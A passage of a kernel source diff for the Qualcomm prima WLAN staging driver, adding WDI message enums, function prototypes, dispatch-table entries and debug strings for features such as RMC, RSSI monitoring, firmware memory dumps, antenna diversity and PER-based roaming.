WDI_HAL_IND_MIN + 17, + WDI_BATCHSCAN_RESULT_IND = WDI_HAL_IND_MIN + 18, - WDI_HAL_CH_AVOID_IND = WDI_HAL_IND_MIN + 18, +#ifdef WLAN_FEATURE_RMC + WDI_HAL_TX_FAIL_IND = WDI_HAL_IND_MIN + 19, +#endif + + WDI_HAL_CH_AVOID_IND = WDI_HAL_IND_MIN + 20, /* print register values indication from FW to Host */ - WDI_PRINT_REG_INFO_IND = WDI_HAL_IND_MIN + 19, + WDI_PRINT_REG_INFO_IND = WDI_HAL_IND_MIN + 21, #ifdef WLAN_FEATURE_LINK_LAYER_STATS - WDI_HAL_LL_STATS_RESULTS_IND = WDI_HAL_IND_MIN + 20, + WDI_HAL_LL_STATS_RESULTS_IND = WDI_HAL_IND_MIN + 22, #endif #ifdef WLAN_FEATURE_EXTSCAN - WDI_HAL_EXTSCAN_PROGRESS_IND = WDI_HAL_IND_MIN + 21, - WDI_HAL_EXTSCAN_SCAN_AVAILABLE_IND = WDI_HAL_IND_MIN + 22, - WDI_HAL_EXTSCAN_RESULT_IND = WDI_HAL_IND_MIN + 23, - WDI_HAL_EXTSCAN_BSSID_HOTLIST_RESULT_IND = WDI_HAL_IND_MIN + 24, - WDI_HAL_EXTSCAN_SIG_RSSI_RESULT_IND = WDI_HAL_IND_MIN + 25, + WDI_HAL_EXTSCAN_PROGRESS_IND = WDI_HAL_IND_MIN + 23, + WDI_HAL_EXTSCAN_SCAN_AVAILABLE_IND = WDI_HAL_IND_MIN + 24, + WDI_HAL_EXTSCAN_RESULT_IND = WDI_HAL_IND_MIN + 25, + WDI_HAL_EXTSCAN_BSSID_HOTLIST_RESULT_IND = WDI_HAL_IND_MIN + 26, + WDI_HAL_EXTSCAN_SSID_HOTLIST_RESULT_IND = WDI_HAL_IND_MIN + 27, #endif - WDI_TDLS_CHAN_SWITCH_REQ_RESP = WDI_HAL_IND_MIN + 26, - WDI_HAL_DEL_BA_IND = WDI_HAL_IND_MIN + 27, - WDI_HAL_NAN_EVENT = WDI_HAL_IND_MIN + 28, - WDI_HAL_LOST_LINK_PARAMS_IND = WDI_HAL_IND_MIN + 29, + WDI_TDLS_CHAN_SWITCH_REQ_RESP = WDI_HAL_IND_MIN + 28, + WDI_HAL_DEL_BA_IND = WDI_HAL_IND_MIN + 29, + WDI_HAL_NAN_EVENT = WDI_HAL_IND_MIN + 30, + WDI_HAL_LOST_LINK_PARAMS_IND = WDI_HAL_IND_MIN + 31, + WDI_HAL_RSSI_BREACHED_IND = WDI_HAL_IND_MIN + 32, + WDI_HAL_START_OEM_DATA_RSP_IND_NEW = WDI_HAL_IND_MIN + 33, + WDI_ANTENNA_DIVERSITY_SELECTION_RSP = WDI_HAL_IND_MIN + 34, WDI_MAX_RESP }WDI_ResponseEnumType; @@ -1265,6 +1325,9 @@ typedef struct /* Roam delay statistic enabled in ini*/ wpt_uint8 roamDelayStatsEnabled; + /* enable/disable sendMgmtPktViaWQ5 params in ini */ + wpt_boolean sendMgmtPktViaWQ5; + }WDI_ControlBlockType; @@ -3163,6 +3226,23 @@ WDI_ProcessDelPeriodicTxPtrnInd ); #endif +#ifdef WLAN_FEATURE_RMC +/** + @brief Process TX Fail monitor indication + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessTXFailMonitor +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); +#endif /* WLAN_FEATURE_RMC */ /** @brief Process start OBSS scan request from Host @@ -4609,6 +4689,24 @@ WDI_ProcessTdlsInd WDI_EventInfoType* pEventData ); +#ifdef WLAN_FEATURE_RMC +/** +*@brief Process Tx Fail Indication + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessTXFailInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); +#endif /* WLAN_FEATURE_RMC */ + /** *@brief Process Noa Start Indication function (called when an indication of this kind is being received over the @@ -5471,7 +5569,6 @@ WDI_ProcessUpdateScanParamsRsp ); #endif // FEATURE_WLAN_SCAN_PNO - #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD /** @brief Process Start Roam Candidate Lookup Request function @@ -5488,6 +5585,14 @@ WDI_ProcessRoamScanOffloadReq WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ); + +WDI_Status +WDI_ProcessPERRoamScanOffloadReq(WDI_ControlBlockType *pWDICtx, + WDI_EventInfoType *pEventData); + +WDI_Status +WDI_ProcessPERRoamScanTriggerReq(WDI_ControlBlockType *pWDICtx, + WDI_EventInfoType *pEventData); /** @brief Process Start Roam Candidate Lookup Response function (called when a response is being received over the bus from HAL) @@ -5504,8 +5609,21 @@ WDI_ProcessRoamScanOffloadRsp WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ); -#endif +WDI_Status +WDI_ProcessPERRoamScanOffloadRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessPERRoamScanTriggerRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); +#endif #ifdef WLAN_FEATURE_PACKET_FILTERING /** @@ -5760,7 +5878,6 @@ WDI_ProcessUpdateVHTOpModeRsp WDI_EventInfoType* pEventData ); #endif - #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD /** * @brief WDI_wdiEdTypeEncToEdTypeEnc - @@ -5813,6 +5930,82 @@ WDI_ProcessRateUpdateInd WDI_EventInfoType* pEventData ); +#ifdef WLAN_FEATURE_RMC +WDI_Status +WDI_ProcessRMCRulerReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessRMCRulerResp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessRMCUpdateInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_RmcUpdateInd +( + WDI_RmcUpdateIndParams *wdiRmcUpdateIndParams +); + +WDI_Status +WDI_ProcessRMCRulerResp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessRMCUpdateIndToHost +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +/** + @brief Process peer info req + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessIbssPeerInfoReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +/** + @brief Process peer info resp + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessIbssPeerInfoRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN /** @brief WDI_ProcessSetBatchScanRsp - @@ -5999,28 +6192,35 @@ WDI_ProcessEXTScanResetHotlistBSSIDRsp ); WDI_Status -WDI_ProcessEXTScanSetSignifRSSIChangeReq +WDI_ProcessEXTScanSetSSIDHotlistReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessEXTScanSetHotlistSSIDRsp ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ); WDI_Status -WDI_ProcessEXTScanSetSignfRSSIChangeRsp +WDI_ProcessEXTScanResetSSIDHotlistReq ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ); WDI_Status -WDI_ProcessEXTScanResetSignfRSSIChangeReq +WDI_ProcessEXTScanResetHotlistSSIDRsp ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ); WDI_Status -WDI_ProcessEXTScanResetSignfRSSIChangeRsp +WDI_ProcessHighPriorityDataInfoInd ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData @@ -6048,12 +6248,13 @@ WDI_ProcessEXTScanBssidHotListResultInd ); WDI_Status -WDI_ProcessEXTScanSignfRssiResultInd +WDI_ProcessEXTScanSsidHotListResultInd ( WDI_ControlBlockType* pWDICtx, WDI_EventInfoType* pEventData ); + #endif /* WLAN_FEATURE_EXTSCAN */ #ifdef WLAN_FEATURE_LINK_LAYER_STATS @@ -6177,6 +6378,34 @@ WDI_ProcessFWFrameLoggingInitRsp WDI_EventInfoType* pEventData ); +WDI_Status +WDI_ProcessRssiMonitorStartReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessRssiMonitorStartRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessRssiMonitorStopReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessRssiMonitorStopRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + WDI_Status WDI_ProcessEncryptMsgReq ( @@ -6261,6 +6490,13 @@ WDI_Process_LostLinkParamInd WDI_EventInfoType* pEventData ); +WDI_Status +WDI_Process_RssiBreachedInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + /** @brief WDI_ProcessSetRtsCtsHtvhtInd @@ -6315,5 +6551,130 @@ WDI_ProcessEnableDisableCAEventInd WDI_EventInfoType* pEventData ); +WDI_Status +WDI_ProcessFwrMemDumpReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status + WDI_ProcessFwrMemDumpRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessWifiConfigReq +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +WDI_Status +WDI_ProcessWificonfigSetRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +#ifdef FEATURE_OEM_DATA_SUPPORT +/** + @brief WDI_ProcessStartOemDataReqIndNew - + Send OEM Data request new indication to FW + + @param pWDICtx : wdi context + pEventData : indication data + + @see + @return none +*/ +WDI_Status +WDI_ProcessStartOemDataReqIndNew +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +/** + @brief Process OemDataRsp New Indication indication from FW + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessStartOemDataRspIndNew +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); +#endif + +/** + @brief Process get current antenna index command + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessGetCurrentAntennaIndex +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +/** + @brief Process get current antenna index response from FW + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessGetCurrentAntennaIndexRsp +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +/** + @brief Process set modified roam params command + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessBcnMissPenaltyCount +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); + +/** + * WDI_ProcessSetAllowedActionFramesInd - Process Set allowed action + * frames command + * + * @pWDICtx: pointer to the WLAN DAL context + * @pEventData: pointer to the event information structure + * + */ +WDI_Status +WDI_ProcessSetAllowedActionFramesInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +); #endif /*WLAN_QCT_WDI_I_H*/ diff --git a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c index 067f27503fb16..535237aeed060 100644 --- a/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c +++ b/drivers/staging/prima/CORE/WDI/CP/src/wlan_qct_wdi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -189,7 +189,7 @@ static placeHolderInCapBitmap supportEnabledFeatures[] = ,DYNAMIC_WMM_PS //43 ,MAC_SPOOFED_SCAN //44 - ,FEATURE_NOT_SUPPORTED //45 + ,BMU_ERROR_GENERIC_RECOVERY //45 ,DISA //46 ,FW_STATS //47 ,WPS_PRBRSP_TMPL //48 @@ -200,10 +200,26 @@ static placeHolderInCapBitmap supportEnabledFeatures[] = #else ,FEATURE_NOT_SUPPORTED //51 #endif - ,FEATURE_NOT_SUPPORTED //52 + ,RTT3 //52 ,MGMT_FRAME_LOGGING //53 ,ENHANCED_TXBD_COMPLETION //54 ,LOGGING_ENHANCEMENT //55 +#ifdef WLAN_FEATURE_EXTSCAN + ,EXT_SCAN_ENHANCED //56 +#else + ,FEATURE_NOT_SUPPORTED //56 +#endif + ,MEMORY_DUMP_SUPPORTED //57 + ,PER_PKT_STATS_SUPPORTED //58 + ,FEATURE_NOT_SUPPORTED //59 +#ifdef FEATURE_EXT_LL_STAT + ,EXT_LL_STAT //60 +#else + ,FEATURE_NOT_SUPPORTED +#endif + ,WIFI_CONFIG //61 + ,ANTENNA_DIVERSITY_SELECTION //62 + ,PER_BASED_ROAMING //63 }; /*-------------------------------------------------------------------------- @@ -425,6 +441,13 @@ WDI_ReqProcFuncType pfnReqProcTbl[WDI_MAX_UMAC_IND] = #else NULL, #endif /* FEATURE_WLAN_LPHB */ +#ifdef WLAN_FEATURE_RMC + WDI_ProcessRMCRulerReq, /* WDI_LBP_RULER_REQ */ + WDI_ProcessIbssPeerInfoReq, /* WDI_HAL_IBSS_PEER_INFO_REQ */ +#else + NULL, + NULL, +#endif /* WLAN_FEATURE_RMC */ #ifdef FEATURE_WLAN_BATCH_SCAN WDI_ProcessSetBatchScanReq, /* WDI_SET_BATCH_SCAN_REQ */ @@ -454,8 +477,8 @@ WDI_ReqProcFuncType pfnReqProcTbl[WDI_MAX_UMAC_IND] = WDI_ProcessEXTScanGetCapabilitiesReq, /* WDI_EXTSCAN_GET_CAPABILITIES_REQ */ WDI_ProcessEXTScanSetBSSIDHotlistReq, /* WDI_EXTSCAN_SET_BSSID_HOTLIST_REQ */ WDI_ProcessEXTScanResetBSSIDHotlistReq, /* WDI_EXTSCAN_RESET_BSSID_HOTLIST_REQ */ - WDI_ProcessEXTScanSetSignifRSSIChangeReq, /* WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ */ - WDI_ProcessEXTScanResetSignfRSSIChangeReq, /* WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ */ + WDI_ProcessEXTScanSetSSIDHotlistReq, /* WDI_EXTSCAN_SET_SSID_HOTLIST_REQ */ + WDI_ProcessEXTScanResetSSIDHotlistReq, /* WDI_EXTSCAN_RESET_SSID_HOTLIST_REQ */ #else NULL, NULL, @@ -480,6 +503,19 @@ WDI_ReqProcFuncType pfnReqProcTbl[WDI_MAX_UMAC_IND] = WDI_ProcessMonStartReq, /* WDI_MON_START_REQ */ WDI_ProcessMonStopReq, /* WDI_MON_STOP_REQ */ WDI_ProcessFatalEventLogsReq, /*WDI_FATAL_EVENT_LOGGING_REQ*/ + WDI_ProcessFwrMemDumpReq, /* WDI_FWR_MEM_DUMP_REQ*/ + + WDI_ProcessRssiMonitorStartReq, /* WDI_START_RSSI_MONITOR_REQ */ + WDI_ProcessRssiMonitorStopReq, /* WDI_STOP_RSSI_MONITOR_REQ */ + + WDI_ProcessWifiConfigReq, /*WDI_WIFI_CONFIG_SET_REQ*/ +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + WDI_ProcessPERRoamScanOffloadReq, /* WDI_PER_ROAM_SCAN_OFFLOAD_REQ */ + WDI_ProcessPERRoamScanTriggerReq, /* WDI_PER_ROAM_SCAN_TRIGGER_REQ */ +#else + NULL, + NULL, +#endif /* WLAN_FEATURE_ROAM_SCAN_OFFLOAD */ /*------------------------------------------------------------------------- Indications -------------------------------------------------------------------------*/ @@ -494,6 +530,12 @@ WDI_ReqProcFuncType pfnReqProcTbl[WDI_MAX_UMAC_IND] = #endif WDI_ProcessAddPeriodicTxPtrnInd, /* WDI_ADD_PERIODIC_TX_PATTERN_IND */ WDI_ProcessDelPeriodicTxPtrnInd, /* WDI_DEL_PERIODIC_TX_PATTERN_IND */ +#ifdef WLAN_FEATURE_RMC + WDI_ProcessRMCUpdateInd, /* WDI_RMC_UPDATE_IND */ +#else + NULL, +#endif /* WLAN_FEATURE_RMC */ + WDI_ProcessRateUpdateInd, /* WDI_RATE_UPDATE_IND */ #ifdef FEATURE_WLAN_BATCH_SCAN WDI_ProcessStopBatchScanInd, /* WDI_STOP_BATCH_SCAN_IND */ WDI_ProcessTriggerBatchScanResultInd, /* WDI_TRIGGER_BATCH_SCAN_RESULT_IND */ @@ -501,7 +543,11 @@ WDI_ReqProcFuncType pfnReqProcTbl[WDI_MAX_UMAC_IND] = NULL, NULL, #endif /* FEATURE_WLAN_BATCH_SCAN */ - WDI_ProcessRateUpdateInd, /* WDI_RATE_UPDATE_IND */ +#ifdef WLAN_FEATURE_RMC + WDI_ProcessTXFailMonitor, +#else + NULL, +#endif WDI_ProcessHT40OBSSScanInd, /*WDI_START_HT40_OBSS_SCAN_IND */ WDI_ProcessHT40OBSSStopScanInd, /*WDI_STOP_HT40_OBSS_SCAN_IND */ @@ -515,6 +561,21 @@ WDI_ReqProcFuncType pfnReqProcTbl[WDI_MAX_UMAC_IND] = WDI_ProcessSetRtsCtsHtvhtInd, /* WDI_SET_RTS_CTS_HTVHT_IND */ WDI_ProcessFWLoggingDXEdoneInd, /* WDI_FW_LOGGING_DXE_DONE_IND */ WDI_ProcessEnableDisableCAEventInd, /* WDI_SEND_FREQ_RANGE_CONTROL_IND */ + +#ifdef WLAN_FEATURE_EXTSCAN + WDI_ProcessHighPriorityDataInfoInd, /* WDI_HIGH_PRIORITY_DATA_INFO_IND */ +#else + NULL, +#endif /* WLAN_FEATURE_EXTSCAN */ + +#ifdef FEATURE_OEM_DATA_SUPPORT + WDI_ProcessStartOemDataReqIndNew, /* WDI_START_OEM_DATA_REQ_IND_NEW */ +#else + NULL, +#endif /* FEATURE_OEM_DATA_SUPPORT */ + WDI_ProcessGetCurrentAntennaIndex, /* WDI_ANTENNA_DIVERSITY_SELECTION_REQ */ + WDI_ProcessBcnMissPenaltyCount, /* WDI_MODIFY_ROAM_PARAMS_IND */ + WDI_ProcessSetAllowedActionFramesInd, /* WDI_SET_ALLOWED_ACTION_FRAMES_IND */ }; @@ -697,6 +758,17 @@ WDI_RspProcFuncType pfnRspProcTbl[WDI_MAX_RESP] = #else NULL, #endif /* FEATURE_WLAN_LPHB */ +#ifdef WLAN_FEATURE_RMC + WDI_ProcessRMCRulerResp, /* WDI_RMC_RULER_RESP */ +#else + NULL, +#endif /* WLAN_FEATURE_RMC */ + +#ifdef WLAN_FEATURE_RMC + WDI_ProcessIbssPeerInfoRsp, /* WDI_HAL_GET_IBSS_PEER_INFO_RSP */ +#else + NULL, +#endif /* WLAN_FEATURE_RMC */ #ifdef FEATURE_WLAN_BATCH_SCAN WDI_ProcessSetBatchScanRsp, /* WDI_SET_BATCH_SCAN_RESP */ @@ -728,8 +800,8 @@ WDI_RspProcFuncType pfnRspProcTbl[WDI_MAX_RESP] = WDI_ProcessEXTScanGetCapabilitiesRsp, /* WDI_EXTSCAN_GET_CAPABILITIES_RSP */ WDI_ProcessEXTScanSetHotlistBSSIDRsp, /* WDI_EXTSCAN_SET_HOTLIST_BSSID_RSP */ WDI_ProcessEXTScanResetHotlistBSSIDRsp, /* WDI_EXTSCAN_RESET_HOTLIST_BSSID_RSP */ - WDI_ProcessEXTScanSetSignfRSSIChangeRsp, /* WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP */ - WDI_ProcessEXTScanResetSignfRSSIChangeRsp, /* WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP */ + WDI_ProcessEXTScanSetHotlistSSIDRsp, /* WDI_EXTSCAN_SET_HOTLIST_SSID_RSP */ + WDI_ProcessEXTScanResetHotlistSSIDRsp, /* WDI_EXTSCAN_RESET_HOTLIST_SSID_RSP */ #else NULL, NULL, @@ -753,6 +825,18 @@ WDI_RspProcFuncType pfnRspProcTbl[WDI_MAX_RESP] = WDI_ProcessMonStartRsp, /* WDI_MON_START_RSP*/ WDI_ProcessMonStopRsp, /* WDI_MON_STOP_RSP*/ WDI_ProcessFatalEventLogsRsp, /*WDI_FATAL_EVENT_LOGGING_RSP*/ + WDI_ProcessFwrMemDumpRsp, /* WDI_FWR_MEM_DUMP_RSP */ + WDI_ProcessRssiMonitorStartRsp, /* WDI_START_RSSI_MONITOR_RSP*/ + WDI_ProcessRssiMonitorStopRsp, /* WDI_STOP_RSSI_MONITOR_RSP*/ + + WDI_ProcessWificonfigSetRsp, /* /WDI_WIFI_CONFIG_SET_RSP*/ +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + WDI_ProcessPERRoamScanOffloadRsp, /* WDI_PER_ROAM_SCAN_OFFLOAD_RSP */ + WDI_ProcessPERRoamScanTriggerRsp, /* WDI_PER_ROAM_SCAN_TRIGGER_RSP */ +#else + NULL, + NULL, +#endif /*--------------------------------------------------------------------- Indications ---------------------------------------------------------------------*/ @@ -800,14 +884,26 @@ WDI_RspProcFuncType pfnRspProcTbl[WDI_MAX_RESP] = WDI_ProcessPeriodicTxPtrnFwInd, /* WDI_HAL_PERIODIC_TX_PTRN_FW_IND */ +#ifdef WLAN_FEATURE_RMC + WDI_ProcessRMCUpdateIndToHost, /* WDI_RMC_UPDATE_IND_TO_HOST */ +#else + NULL, +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN WDI_ProcessBatchScanResultInd, /* WDI_BATCHSCAN_RESULT_IND */ #else NULL, #endif +#ifdef WLAN_FEATURE_RMC + WDI_ProcessTXFailInd, /*WDI_HAL_TX_FAIL_IND*/ +#else + NULL, +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_CH_AVOID - WDI_ProcessChAvoidInd, /* WDI_LBP_UPDATE_IND_TO_HOST */ + WDI_ProcessChAvoidInd, /* WDI_HAL_CH_AVOID_IND */ #else NULL, #endif /* FEATURE_WLAN_CH_AVOID */ @@ -823,7 +919,7 @@ WDI_RspProcFuncType pfnRspProcTbl[WDI_MAX_RESP] = WDI_ProcessEXTScanScanAvailableInd, /* WDI_HAL_EXTSCAN_SCAN_AVAILABLE_IND */ WDI_ProcessEXTScanResultInd, /* WDI_HAL_EXTSCAN_RESULT_IND */ WDI_ProcessEXTScanBssidHotListResultInd, /* WDI_HAL_EXTSCAN_BSSID_HOTLIST_RESULT_IND */ - WDI_ProcessEXTScanSignfRssiResultInd, /* WDI_HAL_EXTSCAN_SIG_RSSI_RESULT_IND */ + WDI_ProcessEXTScanSsidHotListResultInd, /* WDI_HAL_EXTSCAN_SSID_HOTLIST_RESULT_IND */ #else NULL, NULL, @@ -839,6 +935,13 @@ WDI_RspProcFuncType pfnRspProcTbl[WDI_MAX_RESP] = WDI_delBaInd, /* WDI_HAL_DEL_BA_IND*/ WDI_ProcessNanEvent, /* WDI_HAL_NAN_EVENT */ WDI_Process_LostLinkParamInd, /* WDI_HAL_LOST_LINK_PARAMS_IND*/ + WDI_Process_RssiBreachedInd, /* WDI_HAL_RSSI_BREACHED_IND */ +#ifdef FEATURE_OEM_DATA_SUPPORT + WDI_ProcessStartOemDataRspIndNew, /* WDI_HAL_START_OEM_DATA_RSP_IND_NEW */ +#else + NULL, +#endif + WDI_ProcessGetCurrentAntennaIndexRsp, /* WDI_ANTENNA_DIVERSITY_SELECTION_RSP */ }; @@ -1154,6 +1257,9 @@ static char *WDI_getReqMsgString(wpt_uint16 wdiReqMsgId) CASE_RETURN_STRING( WDI_STOP_BATCH_SCAN_IND ); CASE_RETURN_STRING( WDI_TRIGGER_BATCH_SCAN_RESULT_IND); #endif +#ifdef WLAN_FEATURE_RMC + CASE_RETURN_STRING( WDI_TX_FAIL_MONITOR_IND ); +#endif /* WLAN_FEATURE_RMC */ CASE_RETURN_STRING(WDI_START_HT40_OBSS_SCAN_IND); CASE_RETURN_STRING(WDI_STOP_HT40_OBSS_SCAN_IND); CASE_RETURN_STRING(WDI_UPDATE_CHAN_REQ); @@ -1169,8 +1275,9 @@ static char *WDI_getReqMsgString(wpt_uint16 wdiReqMsgId) CASE_RETURN_STRING( WDI_EXTSCAN_GET_CAPABILITIES_REQ); CASE_RETURN_STRING( WDI_EXTSCAN_SET_BSSID_HOTLIST_REQ); CASE_RETURN_STRING( WDI_EXTSCAN_RESET_BSSID_HOTLIST_REQ); - CASE_RETURN_STRING( WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ); - CASE_RETURN_STRING( WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ); + CASE_RETURN_STRING( WDI_EXTSCAN_SET_SSID_HOTLIST_REQ); + CASE_RETURN_STRING( WDI_EXTSCAN_RESET_SSID_HOTLIST_REQ); + CASE_RETURN_STRING( WDI_HIGH_PRIORITY_DATA_INFO_IND); #endif /* WLAN_FEATURE_EXTSCAN */ CASE_RETURN_STRING( WDI_SPOOF_MAC_ADDR_REQ); CASE_RETURN_STRING( WDI_GET_FW_STATS_REQ); @@ -1183,6 +1290,13 @@ static char *WDI_getReqMsgString(wpt_uint16 wdiReqMsgId) CASE_RETURN_STRING( WDI_MON_STOP_REQ ); CASE_RETURN_STRING( WDI_FATAL_EVENT_LOGGING_REQ ); CASE_RETURN_STRING( WDI_SEND_FREQ_RANGE_CONTROL_IND ); + CASE_RETURN_STRING( WDI_FWR_MEM_DUMP_REQ); + CASE_RETURN_STRING( WDI_START_RSSI_MONITOR_REQ ); + CASE_RETURN_STRING( WDI_STOP_RSSI_MONITOR_REQ ); + CASE_RETURN_STRING( WDI_START_OEM_DATA_REQ_IND_NEW ); + CASE_RETURN_STRING( WDI_ANTENNA_DIVERSITY_SELECTION_REQ ); + CASE_RETURN_STRING( WDI_MODIFY_ROAM_PARAMS_IND ); + CASE_RETURN_STRING( WDI_SET_ALLOWED_ACTION_FRAMES_IND ); default: return "Unknown WDI MessageId"; } @@ -1287,6 +1401,12 @@ static char *WDI_getRespMsgString(wpt_uint16 wdiRespMsgId) CASE_RETURN_STRING( WDI_SHUTDOWN_RESP ); CASE_RETURN_STRING( WDI_SET_POWER_PARAMS_RESP ); CASE_RETURN_STRING( WDI_GET_ROAM_RSSI_RESP ); +#ifdef WLAN_FEATURE_RMC + CASE_RETURN_STRING( WDI_RMC_RULER_RESP ); + CASE_RETURN_STRING( WDI_RMC_UPDATE_IND_TO_HOST ); + + CASE_RETURN_STRING( WDI_HAL_IBSS_PEER_INFO_RSP ); +#endif /* WLAN_FEATURE_RMC */ #ifdef FEATURE_WLAN_BATCH_SCAN CASE_RETURN_STRING( WDI_SET_BATCH_SCAN_RESP); #endif @@ -1305,20 +1425,31 @@ static char *WDI_getRespMsgString(wpt_uint16 wdiRespMsgId) CASE_RETURN_STRING( WDI_EXTSCAN_GET_CAPABILITIES_RSP); CASE_RETURN_STRING( WDI_EXTSCAN_SET_HOTLIST_BSSID_RSP); CASE_RETURN_STRING( WDI_EXTSCAN_RESET_HOTLIST_BSSID_RSP); - CASE_RETURN_STRING( WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP); - CASE_RETURN_STRING( WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP); + CASE_RETURN_STRING( WDI_EXTSCAN_SET_HOTLIST_SSID_RSP); + CASE_RETURN_STRING( WDI_EXTSCAN_RESET_HOTLIST_SSID_RSP); CASE_RETURN_STRING( WDI_HAL_EXTSCAN_PROGRESS_IND); CASE_RETURN_STRING( WDI_HAL_EXTSCAN_SCAN_AVAILABLE_IND); CASE_RETURN_STRING( WDI_HAL_EXTSCAN_RESULT_IND); CASE_RETURN_STRING( WDI_HAL_EXTSCAN_BSSID_HOTLIST_RESULT_IND); - CASE_RETURN_STRING( WDI_HAL_EXTSCAN_SIG_RSSI_RESULT_IND); - + CASE_RETURN_STRING( WDI_HAL_EXTSCAN_SSID_HOTLIST_RESULT_IND); #endif /* WLAN_FEATURE_EXTSCAN */ CASE_RETURN_STRING( WDI_GET_FW_STATS_RSP); CASE_RETURN_STRING( WDI_ENCRYPT_MSG_RSP); CASE_RETURN_STRING( WDI_FW_LOGGING_INIT_RSP); CASE_RETURN_STRING( WDI_GET_FRAME_LOG_RSP); CASE_RETURN_STRING (WDI_FATAL_EVENT_LOGGING_RSP); + CASE_RETURN_STRING( WDI_FWR_MEM_DUMP_RSP); + CASE_RETURN_STRING (WDI_START_RSSI_MONITOR_RSP); + CASE_RETURN_STRING (WDI_STOP_RSSI_MONITOR_RSP); + CASE_RETURN_STRING( WDI_WIFI_CONFIG_SET_RSP); +#ifdef FEATURE_OEM_DATA_SUPPORT + CASE_RETURN_STRING (WDI_HAL_START_OEM_DATA_RSP_IND_NEW); +#endif + CASE_RETURN_STRING (WDI_ANTENNA_DIVERSITY_SELECTION_RSP); +#ifdef 